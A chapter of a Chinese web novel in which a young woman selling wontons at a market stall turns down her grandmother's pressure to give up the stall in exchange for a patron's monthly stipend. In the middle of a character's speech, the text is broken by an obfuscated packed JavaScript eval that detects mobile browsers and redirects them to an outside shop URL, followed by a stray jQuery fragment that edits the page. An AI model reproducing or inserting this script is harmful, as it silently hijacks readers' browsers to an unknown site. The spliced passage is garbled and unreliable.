腊月的日头短，未时刚过，西市的饭潮便渐渐退了。
三张方桌空了两张，只剩个走短途的货郎还就着卤豆干，慢悠悠喝最后半碗骨汤。
秦芜趁着空档，将一颗白萝卜洗净，切成细丝。
这东西在当地叫莱菔，入了腊月更便宜。两文钱，便能买上一颗拳头大的，放上几日也不坏。拿来配肉，正合适。
今早她让大哥去祁家肉铺取下水时，顺带捎回了小半筐碎肉筋皮，还有一碗熬板油剩下的油渣。
都是肉铺剔肉割肉时留下的边角料，不值几个钱。因着这些日子的往来，掌柜又添了半勺油渣。
秦芜把萝卜丝下进沸水里焯了一遍。
等辛辣气散了些，便捞出来，用粗麻布裹住，一点点攥干水分。萝卜若带着太多水，下锅时容易破皮，馅也寡淡。
油渣剁成细碎的屑，碎肉筋皮斩成肉泥，加姜水、半勺清酱、几滴黄酒调了底味，顺着一个方向搅得肉馅发黏上劲，再把萝卜丝和油渣屑拌进去，最后淋一勺熟菜籽油锁了水。
焦香混着清甜的气儿漫出来，比纯肉馅多了股勾人的烟火气。
她随手擀了几张薄皮，包了十几个月牙形馄饨丢进骨汤锅里。
薄皮透亮，滚两滚就浮了上来，油渣的香气顺着热气飘得远。
连旁边正收拾碗筷的赵氏都忍不住回头：“这味儿闻着就扎实，比纯肉馅还勾人。”
那货郎本已结了账要走，闻着香气又折了回来，笑着打趣：“秦小娘子又琢磨新吃食？这味儿半条街外都闻见了，俺能不能讨一个尝尝？”
秦芜笑着捞了两只盛在粗瓷碟里递过去。
货郎吹凉了咬下半只，眼睛登时亮了：“绝了，油渣焦香，萝卜清甜，一点不腻口，比纯肉的还对俺们跑脚人的胃口。多少钱一碗？明天俺带码头十几个弟兄过来捧场。”
“七文钱一碗，比纯猪肉馅便宜一文。”秦芜心里也落了定。
这款馅成本比纯肉馅低了近四成，定价降一文走量更快，实际利润率反倒更高，最适合做引流款。
待货郎乐呵呵走了，她把剩下的几只馄饨盛给秦珠当点心，一边擦着手一边在心里盘账。
这几日营收本就稳中有涨，再添上这款平价馄饨，日销还能再上一截，开春盘铺面的本钱，出了正月就能凑过半。
日头往西斜了斜，风更添了凉意。
秦芜将剩馅封入带盖木柜，将碗筷洗净沥干，齐整整倒扣在篾筐里。
赵氏将方桌长凳挨个擦净，摞在推车侧架。秦珠抱着收钱的竹筒蹲在小杌子上，又数了一遍。
家什收拾完，母女三人又拿竹扫帚将摊位周遭的碎炭和烂菜叶拢进簸箕，不留半点腌臜。西市有规矩，地界拾掇得干净，巡街的武候才不来找晦气。
西市不同于码头，市易署在街角设了专供商贩寄存辎重的车马棚，统一看管，省得往返推拉耗费人力。
秦芜寻了看棚的坊丁，交了两文钱的寄存费，将推车推入棚底，拿自带的铁链锁牢在粗木柱上。
卸下了这一大摊重物，只随身带着装钱的竹筒和些许轻便干货，母女三人浑身轻快了不少。
出了西市大门，正赶上几辆拉完脚准备出城回乡的空驴车。赶车的车把式正扯着嗓子喊趁脚价，她们付了五文，便坐回了洪村口。
秦芜跨进院门，便微微一顿。
只见秦老太端坐在正中的长凳上，大伯娘王氏、二伯娘刘氏分坐两侧，手里提着两包油纸裹的糙点心。
秦三郎蹲在门槛边攥着旱烟杆，烟袋锅子明灭，烟雾慢吞吞往上绕，看不清脸色。
赵氏赶紧上前一步，陪着笑招呼：“娘，大嫂二嫂，你们怎么来了？快坐快坐。”
秦老太破天荒地没摆冷脸，反而叹了口气，伸手拉过赵氏的手，端出一副慈母做派：“我今儿来，是心疼阿芜。”
赵氏愣住，看向秦芜，
秦芜心知这一出就是黄鼠狼给鸡拜年。
她谁也没理，自顾自倒杯水，喝完才抬眼道：“我好得很，倒不需要奶奶挂心。”
秦老太一噎，干瘦的脸皮抖了抖，目光在她冻红的指节上打了个转，“才几日没见，怎么就熬成这副样子？手糙了，脸也皴了，天天在市井抛头露面，风吹日晒的，哪是姑娘家该受的罪？”
“您有话直说。”
“行，那我就不绕弯子了。”秦老太敛了笑，“一个清白姑娘家，整日在市井里抛头露面，和那些脚夫苦力混在一处，浑身油烟味，成何体统？这商贾营生本就是下贱行当，传出去，不仅丢了脸面，你以后还怎么说亲？”
“我不打算说亲，也再不会嫁人。”秦芜淡淡道。
“胡闹！”秦老太拐杖在地上重重一杵，转头盯住赵氏，“老三家的，你就由着她胡说八道？女人家不嫁人，老了谁养？你这当娘的，难道不想看着她有个好归宿？”
赵氏被戳中了软肋，面露局促，嗫嚅道：“是啊……阿芜，女人总要嫁的，娘盼着你好……”
秦老太顺势缓了语气：“如今倒有个现成的天大福分。萧家管事今儿给我递了话。只要你收了那丢人现眼的摊子，安安分分待在村里，萧家愿意每月出十两银子，在你寻到好人家前，都养着你。”
二伯娘附和：“阿芜，十两啊，咱们庄稼人刨一辈子土也见不着这么多！萧家这般宽宏，只要你点个头，连带着你堂弟和兴也能去县衙里谋个差事，这可是双喜临门！”
大伯娘也道：“老三家的，你忍心你女儿天天在风里冻着？这是多大的福气，旁人求都求不来。”
不等赵氏回话，秦芜重重搁下杯子，看向秦老太：“奶既然是来送福气的，不如先说说，萧家给了您多少好处，让您专程跑这一趟？”
二伯娘先急了：“你这孩子怎么说话呢！你奶是为了你好！萧家是什么人家？官宦世家！能想起你，是你的造化！”
“造化？”秦芜淡淡笑了声，“萧家让我净身出户的时候，怎么不说造化？如今我凭双手吃饭，他们倒想起给我福气了。这福气，我消受不起。”
秦老太抖着手指，气道：“孽障！我看你是在市井混野了，连好歹都分不清！商贾是贱籍营生，你一个侯府出来的姑娘，沦落到沿街叫卖，丢的是秦家的脸！萧家不计前嫌愿意养你，你还拿乔！
“奶这话就不对了。”
秦芜站起身，从木匣里翻出两张麻纸，轻轻展开，“分家文书和户籍分单，里正画了押，衙门盖了章。三房单独立户，我做什么营生，赚什么钱，是三房自己的事，老宅管不着。”
她顿了顿，目光扫过脸色发白的二伯娘：“再者，萧家每月十两，买的不是我安稳，是我听话。今日我接了银子收了摊，明日他们让我往东，我不能往西。后日让我再嫁个鳏夫冲喜，我也得谢恩。到时候奶是得银子得差事了，我呢？我把自己再卖一回？”
“胡说八道！萧家是官宦人家，哪能做那种事！”秦老太嘴硬，眼神却闪了闪。
她确实没想那么远，只觉得每月十两是天大的便宜，至于孙女往后如何，在她看来，“有人养着”总比抛头露面强。
况且只要事成，萧家会给她五十两银子，二房的和兴以后也能找个好差事。
一直蹲在门槛边抽烟的秦三郎，这时终于开了口：“阿芜，你奶说得也不是全无道理……女子家，安稳些总是好的……”
秦芜知道他向来愚孝，好在他还听自己的。
于是她掰开了说：
“爹。您觉得什么是安稳？拿人手短，吃人嘴软。今日接了萧家十两，往后他们让我不许回洪村、不许见你们，我也得听着吗？靠别人赏饭吃，哪天人家不想赏了，我就得饿死。靠自己手艺吃饭，哪怕风吹日晒，饭吃得踏实，觉睡得安稳。”
秦三郎张了张嘴，想起秦凡被栽赃那日，老宅毫不犹豫要牺牲儿子的模样，心里一堵，剩下的劝话再也说不出口，只重重叹了口气，把烟袋锅子往门槛上一磕，别过了脸。
二伯娘见秦三郎软了，秦老太又压不住阵脚，心里急得慌。
她家和兴去县衙当学徒的差事，这事要是黄了，她上哪儿说理去？
她往前凑了凑，尖着嗓子道：“三丫头，你别不知好歹！你奶
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17815403|211036||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一把年纪为谁跑这一趟？还不是为了你！你一个被休的妇人，名声都烂透了，不靠萧家，你后半辈子怎么办？”
“我后半辈子怎么办，不劳二伯娘费心。”秦芜眼神凉了凉，“倒是二伯娘，这么积极，想来萧家也许了你家好处吧？”
二伯娘被戳中心事，脸涨得通红，支支吾吾说不出整话：“你、你血口喷人！我是为了你好！”
正闹得不可开交，院门外传来脚步声，秦凡和秦卓从山里回来了。
两人见屋里这阵仗，把柴往墙根一扔，大步跨到秦芜身边，秦卓黑着脸道：“这唱的是哪出？”
秦老太见三房父子三个都站在秦芜那边，知道软话是说不通了。
她撑着拐杖站起身，干瘪的脸皮绷得紧紧的，眼里满是怒意：“好！好得很！一个个翅膀硬了，我的话都不听了！秦芜，我最后问你一句，这摊子，你收是不收？”
“不收。”秦芜答得干脆，“我凭手艺吃饭，不丢人。奶要是为我好，我领情。要是为了银子来逼我，那恕难从命。”
“你等着！”秦老太气得浑身发抖，甩了甩袖子，“我就不信治不了你！你要不收摊，就别怪我这个当奶奶的不讲情面！”
说罢，她抬脚就往外走，大伯娘赶紧跟上，二伯娘狠狠瞪了秦芜一眼，也颠颠地追了出去。
院里一下子静了下来。
赵氏拍着胸口，后怕得很：“这可怎么办……你奶她不会真闹出什么事吧？要不……咱先歇两天？”
“娘，没事。”秦芜把分家文书折好，重新收进木匣，“她闹不出什么花样。真闹到西市去，丢人的不是咱们。萧家要脸，老宅也要脸，真把事情闹大了，人人都知道萧家休了媳妇还管人家怎么过日子，看谁难堪。”
秦卓愤愤道：“就是！她们敢去闹，我就敢把秦和安那点破事全抖出来！看谁丢人！”
秦三郎蹲在门槛上，闷声道：“都怪爹没用，护不住你们。”
“爹说什么呢。日子是咱们自己过的，问心无愧就行。”
她说完，转身走到屋檐下。
廊下挂着早上刚腌上的腊肉条，油光还没渗出来，颜色淡淡的。
她伸手碰了碰，指尖沾了点盐粒，心里盘算着：腊味还得再腌两日，萝卜油渣馅明天就能正式上，年跟前再添个卤味拼盘，生意还能再往上走一走。
至于老宅和萧家的麻烦……兵来将挡，水来土掩。她连被扫地出门、一碗馄饨都卖不出去的日子都熬过来了，还怕几句狠话？
夜色漫上来，秦凡去灶房烧热水，秦卓去劈柴，秦珠攥着竹筒跑过来，摇了摇给她听响：“三姐！今天又多赚了好多！”
秦芜笑着揉了揉她的头。
赵氏也过来了，站在廊下犹豫了半晌，才低声开口：“你真的不想嫁人？”
“不想，嫁了人就把命系在别人身上，成天看脸色过日子，有什么好。”
赵氏神色惶然：“可女人家……哪有不嫁人的道理。等我和你爹不在了，你哥嫂有了自己的家，你孤身一人，生病了连个递热水的都没有，族里旁人见你没个男人撑门户，占你家的地、抢你家的粮，你受了欺负谁替你出头？村里那些没男人的寡嫂，哪一个不是熬得比旁人苦？”
她是真心替女儿打算，没有夫家和子嗣撑腰，宗族乡绅随时能寻个冠冕堂皇的由头来吃绝户。
秦芜转过头，看着赵氏那张布满风霜的脸。
她理解赵氏的担忧，这个时代注定容不下一个特立独行的单身女子。
况且，她也没本事一下子掰转这世道，。
但跟苦了半辈子的农妇谈什么孑然一身的自在，只会平添她的恐慌。
日子是一步步过出来的，想太远没用。先把银子攒厚实，真到那一步了，总比两手空空的人强。
她温声道：“如今我靠双手吃饭，赚多赚少都是自己的，过得踏实。嫁人这事，我不着急。真遇着真心待我的，再说不迟。”
赵氏安下心来：“行，娘知道你主意比谁都正，只要你心里有成算，娘就不多嘴了。快回屋歇着吧，明早还要发面呢。”